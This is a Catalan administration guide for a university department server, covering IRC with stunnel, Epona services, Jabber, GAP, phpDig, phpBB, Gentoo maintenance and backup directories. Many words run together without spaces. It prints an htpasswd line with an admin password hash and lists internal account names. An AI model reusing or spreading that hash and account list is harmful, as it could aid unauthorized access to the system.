I think you should use O_NONBLOCK, you want which of these ?
O_NONBLOCK (POSIX) O_NDELAY (BSD) FIONBIO (SYSV)
  O_NONBLOCK (default)

Hmmm...I'mnot sureif signal()is reliableor not either...You canchoosebetween
posix, bsd and sysv.  What'll it be ?
  POSIX (default)

I found getrusage,out of getrusageand times. getrusageis more informative. If
you wish to swap your choice, please do so now.
  getrusage (default)

Do you haveaninsecureoperatingsystemandthereforewantto usetheserveranti-
spoof protection?
  Yes (default)

Seeds...
  [Introduïm número aleatori]
  [Introduïm un altre número aleatori]

What directory are all the server configuration files in?
  /usr/local/Ultimate2.8.5/config

What is the explicit path to wherethe ircd binary will be installed? This should
point to a file, not a directory
  /usr/local/Ultimate2.8.5/src/ircd

How long nicknames do you want to allow?
  12

What domain do you want to consider local to your server?
  deim.etse.urv.es
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Would you like clients local to the SERVERMACHINE to be able to useUnix
domain sockets?
  No (default)

Do you use encrypted operator passwords?
  Yes

Do you useencryptedincominglink passwords?(N linesonly, C linesmustremain
unencrypted always)
  Yes

What listen() backlog value do you wish to use? 
  5 (default)

How far back do you want to keep the nickname history?
  500 (default)

What sendq length do you wish to have?
  3000000 (default)

What size of a bufferpool (total of ALL sendq's in use) do you do you wish to have?
  (6 * MAXSENDQLENGTH)  (default)

How many file descriptors (or sockets) can the irc server use?
  1024 (default)

I executem:
make

Ficar els arxius irc.conf, irc.rulesi irc.motd queja teniemal config/. Aqui s'indicarà
que escolti pel port 6668, aquestseràbloquejatper firewall però a cadainici del
sistemas'executaràl'stunnelper quefaci la connexiótal i com hemexplicata l'inici,
la comanda per l'stunnel és:

/usr/sbin/stunnel -P /usr/local/ircd/ -p /etc/stunnel/stunnel.pem -d 6667 -r
deim.etse.urv.es:6668

Per executar el servidor d'irc s'ha de ficar:

cd /usr/local/ircd
./ircd

Pera iniciar-ho tot s'hacreatun script d'inici a /etc/init.d/ircd,i s'hainsertata l'inici
del sistema amb “rc-update add ircd default”. 

A la configuració ircd.conf tambées permetràla connexiódel serveiseponaque
instal·larem a continuació.
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� EPONA SERVICES (HTTP://WWW.EPONA.ORG/)
* Aquestserveisintrodueixenal servidor els Bots ChaN,NiCK, oPeR,MeMo, BoT
per facilitar l'administració i per donar serveis als usuaris (registre de nicks,
canals...).

Dintre del directori d'Ultimate (/usr/local/Ultimate2.8.5/) descomprimir y executar:

./configure

Resoldrem les preguntes amb les següents de respostes:

In what directory do you want the binaries to be installed?
  /usr/local/Ultimate2.8.5/services

Where do you want the data files to be installed?
  /usr/local/Ultimate2.8.5/services

Which group should all Services data files be owned by?
  ircd

What should the default umask for data files be (in octal)?
  007 (default)

Which of the following is closest to the type of server on your IRC network?
  4 (UltimateIRCd 2.8.2 or later)

Do you want to use the MD5 message-digest algorithm to encrypt passwords?
  yes

If you are switching from another services...
  no

Do you want to compile Epona with threading support?
  no (default)

Després executem:

make
make install
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� PASSES FINALS

No limitem els clons per ircd, al servicessi ho fem però fiquem una excepciópel
deim.etse.urv.esamb el bot oPeR (comandaexception) i amb temps d'expiració
ilimitat (+0), sino nomésespodranconectar2 ambstunnel.Recuperemles basesde
dades*.bd i el services.conf/services.motd.Canviemel propietarii grup del directori
a on es troba tot l'ircd i els serveis:

chown -R ircd:ircd /usr/local/Ultimate2.8.5/
ln -s /usr/local/Ultimate2.8.5/ /usr/local/ircd/

Femsetuidelsserveisambl'usuariircd, perevitarques'executicoma root i sigui un
risk pel sistema:

cd /usr/local/Ultimate2.8.5/services
chmod 4750 services list*

Els serveis s'executaran amb:

cd /usr/local/ircd/services
./services

Peròcomja heindicat,s'hacreatun script (/etc/init.d/ircd)ques'encarregadetot això
a l'arranc.Si per canviar la configuracióes necessariencriptarun passwordnou,
anirem al directori /usr/local/ircd/crypti compilarem:“gcc -l crypt -o mkpasswd
mkpasswd.c”. Seguidamentexecutem el programa “./mkpasswd”, introduim el
password i ens mostrarà la encriptació corresponent.

A la pròpia plana del DEIM (http://deim.etse.urv.es/serveis/irc.php)s'explicacom
conectar-seal servidor d'irc. Per autentificar-secom administradorhem de ficar la
comanda“/oper nick_del_operadorpassword”.Aquestosoperadors/administradores
defineixenal arxiu de configuracióircd.conf (les O-Lines).Per identificar-nosamb
elsserveiss'hade fer “/msg nick identify password_del_nick_registrat”.Es recomana
visitar la planad'Ultimate ircd (http://www.shadow-realm.org/)i consultarguiesper
internetsobreles comandesa utilitzar al irc. Per ajudasobreels serveis“/mg help
help”.
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INSTAL·LACIÓ DE JABBER  SENSE TRANSPORTS  
(per conflictes amb glibc-2.3.x)

Configurar accés només pel port 5223 (SSL). La configuració es troba a
/etc/jabber/simple.xml.Per generar el certificats s'utilitza l'script /etc/jabber/self-
cert.sh. En /var/spool/jabber es guarden els arxius dels usuaris.

Creeml'usuarijabberi el grupjabber,fem que/usr/sbin/jabberdpertanyia aquestsi el
fem setuid per evitar que s'executicom a root. A més haurà de tindre permisos
d'escriptura al /var/spool/jabber.

L'administradorambjabberID:admin@deim.etse.urv.es,rebratotselsnouseventsdel
servidor.Perconectar-senoméscal seguirles instruccionsde la pròpiaplanawebdel
deim: http://deim.etse.urv.es/serveis/jabber.php

INSTAL·LACIÓ GAP  
(Programa de control de pràctiques de programació via web)

Els passos a seguir per realitzar una instal·lació de GAP són:

Crear grup gap i usuari gap
Descomprimir el programa.
Executar instalar.sh i especificar:
  Nom assig (e.g. Programació I)
  Curs (e.g. 2002/2003)
  Nom curt (e.g. PRI)
  Curs curt (e.g. 0203)
  Usuari (gap)
  A on s'ubicarà (e.g. /home/httpd/gap, crear abans, a més de gap/html i gap/cgi-bin)
  Directori a protegir
  Instal·lar

Canviarla configuraciód'apachesegonsindica el README de la aplicació,de totes
formes en aquestmateix documenthe explicat quina configuracióes necessàriaa
l'Apache pel funcionament d'aquest programa.

Seguidament canviarem els propietaris del programa amb:

chown -R gap:gap /home/httpd/gap
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Renombrem l'executable gap a gap.cgi:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap -> /home/httpd/gap/cgi-bin/gap/XXX/
gap.cgi

grsecurityno permetexecutara un usuariun programaqueno li pertanyni a ell ni a
root i que es trobi en un directori que tampoc li pertanyi a ell ni a root. Es per això que
hem de fer que el directori que conté gap.cgisigui propietatd'apache(usuari que
executarà el cgi), de lo contrari grsecurity ens impedirà la seva execució:

chown apache  /home/httpd/gap/cgi-bin/gap/XXX/

Creemun index.htmlal directori inicial de gapper fer queredireccioniles peticions
cap al cgi, així els usuarisno tenenque escriureuna ruta excecivamentllarga per
accedir-hi, i fem un enllaç simbòlic des de shtml/.

Editem  gap/gap/XXX/configuracion/inicio.html i canviem la fulla d'estils:

  /gap.cs -> /gap/html/gap.css

Si cal canviarel passwordde l'administrador,ques'hade dir així “administrador”ho
podem fer manualment al arxiu “/home/httpd/gap/gap/XXXX/.htpasswd”. Per
generar el password es pot utilitzar la comanda “htpasswd”.

Finalment,per web entremi anema “Configuración -> Global -> Directorio de
gràficas” i canviem el que hi ha per /gap/html/graficas/gap.

Desd'aquestaaplicacióels professorspodriencompilar les pràctiquesdelsalumnes,
aquesta possibilitat no la oferim per 2 motius principals:

1.- El compiladorgnat adano funcionacorrectamentamb algunesversionsdel
patch grsecurity del kernel

2.- La raó mésimportant:compilar i executarcodi entregatper alumnesal propi
servidor pot suposar un problema de seguretat.

ACTUALITZACIÓ  GAP  

Tornar a renombrar el cgi gap.cgi a gap:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap.cgi -> /home/httpd/gap/cgi-
bin/gap/XXX/ gap
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Descomprimir la nova versió i executem:

./actualizar.sh

Indiquemla ubicaciódel programa(/home/httpd/gap)i seguimles instruccions.I un
cop actualitzat, tornem a renombrar el CGI:

mv /home/httpd/gap/cgi-bin/gap/XXX/gap -> /home/httpd/gap/cgi-bin/gap/XXX/
gap.cgi

INSTAL·LACIÓ DE PHPDIG  

Cercadorphpdig 1.6.1, l'he dividit en 2 partsper fer que el menú d'administració
s'accedeixi per SSL:
 -A les common_words.txt he afegit paraules comunes catalanes i castellanes
 -En les locales, he fet la traducció al català: cat-language.php
-Configuracióa include/config.php,fem queno demanilogi perquèel passwordes

guarda sense encriptar
 -La part del cercador general el fiquem a html/ sense admin/
-La part d'administracióadmin/ la fiquem a shtml/cercari fiquem un .htaccessi

.htpasswd per la identificació de l'administrador. 
  Arxiu .htaccess:

AuthName "Administració PHPDig"
AuthUserFile /home/httpd/shtml/cercar/admin/.htpasswd
AuthType Basic
require valid-user

  Arxiu .htpasswd (creat amb la comanda htpasswd):
admin:XZMlBfRe2vAlc

 -Creen en el general un i copiem dintre: robot/debug_functions.php
 -Copiem *.png al cercar de shtml
 -Creem a html/cercar/admin el dir temp/ amb permissos 777
 -Canviem a spider.php la linea 168:
      $limit = SPIDER_DEFAULT_LIMIT;
  Per poder executar des de la linea de comandes l'spider que indexarà la web fem: 
   cd directori/cercar/admin; php -f spider.php help
 -S'ha probat la indexació de pdf's però es massa lenta.
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INSTAL·LACIÓ DE PHPBB (FÒRUM)  

Simplementbaixarl'última versiói mirar les instruccionsal docs/INSTALL.html.Al
final de la instal·laciótindremunabasede dades“phpbb” i un usuari“phpbb” amb
accés a aquesta. Actualment esta instal·lat a /home/httpd/shtml/forum
(https://deim.etse.urv.es/forum),amb SSL perquè els usuaris requereixen
identificació.L'administradors'anomena“admin” i estaconfiguratper queexisteixi
un fòrum privat per professor,aquellsque vulguin participar han de indicar el seu
login a l'administrador i aquest donar-li permisos.

PHPROJEKT  

Aquestaaplicacióweb per fer projectesen grup es troba en proves,els professors
PedroGarcíai RobertRallo la estanevaluant.Actualmentno estrobapreparadaper
seroferida com un serveipúblic. Utilitza la basede dades“phprojekt” amb l'usuari
“phprojekt”. Té el directori uploads/amb permísd'escripturaper tothom, així els
usuaris de l'aplicació poden pujar arxius.

GENTOO: ADMINISTRACIÓ  

� SISTEMA DE PAQUETS

El sistemade paquetsde gentooescomposad'ebuilds.Els ebuildssónscriptsfets en
pythonquedescarreguen,compileni instal·lenel programaal quecorresponguin.A
més,si té dependènciestambéles descàrregues,compila i instal·la.Tot el conjunt
d'ebuilds es troben guardats al Portage, aquest es troba a /usr/portage.

Peradministraraquestsistemade paquetss'utilitza la utilitat emerge(tambéfeta en
python). Les següents instruccions són les més utilitzades:

emerge rsync
Sincronitzael portage(llistat d'aplicacions/ebuilds)amb l'oficial, s'ha de realitzar
aquesta acció habitualment

emerge -u --deep world  
Comprovar tots els paquets instal·lats per actualitzar els que calgui.
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emerge -pu --deep world
Semprequeafegim“-p” no esrealitzaràla accióqueli diem,nomésfaràveurequela
realitza, així per exemple en aquest cas podrem veure quins paquets s'actualitzaran.

emerge -s paraula
Buscala paraulaal llistat de aplicacions,serveixper sabersi existeix unaaplicació
determinada al portage (e.g. emerge -s mozilla)

emerge aplicacio  / emerge ebuild
Instal·la la aplicació o ebuild indicat a més de les seves dependències.

emegre -p aplicació 
emerge -p xxx.ebuild

Comindiquem-p, no esproduiràla instal·laciórealsinóquenomésvisualitzaràquins
paquets instal·larà.

emerge -C aplicació
Desinstala una aplicació.

emergetest [paràmetres]
emergetestesun petit script quehe realitzat,es trobaa /usr/local/bin/emergetesti el
quefa escridar l'emergenormal passant-litots els paràmetresque li indiquemperò
ambla variabled'entornACCEPT_KEYWORDS="~x86",això faràqueperexemple
“emergemozilla” instal·laràel mozilla establedela distribuciói “emergetestmozilla”
instal·larà la versió de mozilla que es considera encara inestable a la distribució.

En aquestsistemade paquetshi ha uns directoris que se'ls anomenadirectoris
protegits,com per exemple/etc/. Això significa quesi al realitzaruna actualització
s'hade sobreescriureun arxiu queestrobaa /etc/,no esfarà i esguardaràen aquest
mateixdirectoriambunnomtipus._cfg0001_XXX(a onXXX seriael nomdel'arxiu
queha de substituir).Així s'evitaràque sobreescrivimla nostraconfiguracióde les
aplicacions.Per substituir els nous arxius ._cfg... pel que corresponguies pot fer
manualment o utilitzant l'script “etc-update”.

� CONFIGURACIÓ DE LA COMPILACIÓ

La configuracióper la compilaciódelsprogramesestrobaa /etc/make.conf.Aqui es
poden especificarels FLAGS per fer una compilació optimitzada per la nostra
màquina, en el cas de la màquina del deim ja té els flags correctes(s'utilitza
-march=pentium3en comptesde pentium4per evitar algunsbugs que te la versió
actualdel gcc ambaquestaoptimització).A més,enaquestarxiu estrobala variable
USE, en aquestavariable indicaremquinescaracterístiquesvolem que tinguin els
paquets que compilem, per exemple, si en aquesta variable es troba la paraula IMAP,
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al compilar PHP s'inclouràautomàticamentel suport per les funcions IMAP. Per
modificar aquestavariable es molt recomanableutilitzar l'eina “ufed”. Finalment
també podem trobar en aquestarxiu (/etc/make.conf)els MIRRORS des d'on es
baixarà els programes a instal·lar, com que la etse té un, també el tinc ficat.

� MANTENIMENT DEL CODI FONT BAIXAT

Les aplicacions que instal·lem es descarreguena /usr/portage/distfiles,amb el
transcursdel tempses van acumulantdiferentsversionsde la mateixaaplicacióen
aquestdirectori, ocupantun espaiinnecessari(les versionsvelles ja no les usarem).
Per això he afegit al sistemal'scrtip “distfiles-clean” que neteja aquestdirectori
d'aplicacionsvelles.Amb “distfiles-clean” ensmostraràun llistat de les aplicacions
que esborrarà,i amb “distfiles-clean--nopretend”les esborrarà.Si editem aquest
script(estrobaa /usr/local/sbin)veuremqueespodemincloureexcepcionsfàcilment,
així aquestes aplicacions no les comprovarà i no esborrarà les seves versions antigues.

� SISTEMA D'ARRANC

El sistemad'arrancdegentooestàmolt simplificat, elsarxiusqueespodenarrancares
troben a /etc/init.d/ i els runlevelsa /etc/runlevels,que com es pot observarestan
etiquetatspernoms.El runlevelperdefecteesel 3 quecorresponal default.Perafegir
un script d'arrancd'undimoni al runleveldefaults'utilitza la comanda“rc-updateadd
dimoni default”. Si esdesitjaexecutaralgunescomandesextradesprésde l'execució
detots elsdimonis,espot especificara /etc/conf.d/local.start.Actualmentestrobaen
aquestarxiu lo necessariper realitzarunesoptimitzacionsal disc dur i l'execucióde
l'script de firewall (/usr/local/sbin/firewall).

� SISTEMA DE PAQUETS ALTERNATIU

Pelsprogramesqueno estiguinal portagei s'hagind'instal·larindividualmentutilitzo
el sistemade paquetsde l'slackwarequevaig instal·laral muntarel sistema.A més,
m'ajudoamb l'aplicaciócheckinstallqueconstrueixels paquetsper slackwaresense
gairesproblemes.Per tant, per instal·laruna aplicacióque no estigui al portagees
seguiranlesinstruccionshabitualspercompilari a l'horad'instal·larencomptesdefer
“make install” farem un “checkinstall” i contestaremles preguntesque ens fan
(indicant que volem que generi un paquetslackware).Això generaràel paqueti
instal·laràl'aplicació.Si la comandaper fer la instal·laciódel programano fos “make
install” sinó “XXX”, doncs la instal·laríem fent “checkinstall XXX”.
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Peradministrarel sistemade paquetsde slackwares'utilitzenelssegüentsscriptsfets
en bash: installpkg, removepkg,upgradepkg,explodepkgi pkgtool (aquestúltim
funciona per menús).

� KERNEL

El kernelactualesel 2.4.20ambel patchgrsecurity(http://www.grsecurity.net/)que
donamésseguretatal sistema,fent per exemplequela pila delsprogramesno sigui
executable. La configuració del kernel la podem trobar a “/usr/src/linux/deim-kernel”.

DIRECTORIS IMPORTANTS PER FER BACKUPS  

/etc
/home/chroot-web/
  (usuaris amb les seves webs a més de la web principal que la té webmaster)
/home/httpd/gap
/home/httpd/gap-electronica
/var/lib/mysql
  (Directori de la base de dades MySQL)
/usr/local/Ultimate2.8.5
  (Directori del servidor d'IRC)
/var/spool
  (Directori a on es guarden els mails i les dades dels usuaris de jabber)

ALTRES USUARIS DEL SISTEMA  

Bios

Sistema
root
coadmin
webmaster
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MySQL
admin
webdeim
webdeimadmin
webmail
pma
phpbb
phprojekt

UltimateIRCd (operador /oper nick password)
admin

gap
administrador

gap-electronica
administrador

administración web
admin
sgomez (Professor Sergio Gómez)
magarcia (Professor Miguel Angel García)
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